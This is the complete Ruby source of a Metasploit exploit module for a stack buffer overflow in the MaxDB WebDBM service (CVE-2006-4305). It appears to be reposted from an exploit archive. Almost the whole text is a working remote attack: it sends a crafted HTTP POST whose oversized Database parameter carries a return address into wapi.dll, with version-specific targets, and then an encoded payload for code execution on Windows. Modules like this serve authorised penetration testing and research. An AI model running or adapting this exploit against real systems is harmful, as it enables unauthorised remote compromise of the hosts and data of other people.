MaxDB WebDBM – ‘Database’ Remote Overflow (Metasploit)
## # $Id: maxdb_webdbm_database.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'MaxDB WebDBM Database Parameter Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the MaxDB WebDBM service. By sending a specially-crafted HTTP request that contains an overly long database name. A remote attacker could overflow a buffer and execute arbitrary code on the system with privileges of the wahttp process. This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2006-4305'], ['OSVDB', '28300'], ['BID', '19660'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ [ 'MaxDB 7.6.00.16', { 'Ret' => 0x1005a08f } ], # wapi.dll [ 'MaxDB 7.6.00.27', { 'Ret' => 0x1005b08f } ], # wapi.dll ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 29 2006')) register_options( [ Opt::RPORT(9999) ], self.class ) end def exploit connect server = rand_text_english(5, payload_badchars) user = rand_text_english(5, payload_badchars) pass = rand_text_english(5, payload_badchars) port = rand(65535).to_s sploit = rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V') sploit << payload.encoded req = "Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}" req << "&User=#{user}&Password=#{pass}" res = "POST /webdbm HTTP/1.1\r\n" + "Host: #{rhost}:#{port}\r\n" res << "Content-Length: #{req.length}" + "\r\n\r\n" + req + "\r\n" print_status("Trying target %s..." % target.name) sock.put(res) #give wahttp.exe a bit to recover... select(nil,nil,nil,2) handler disconnect end end |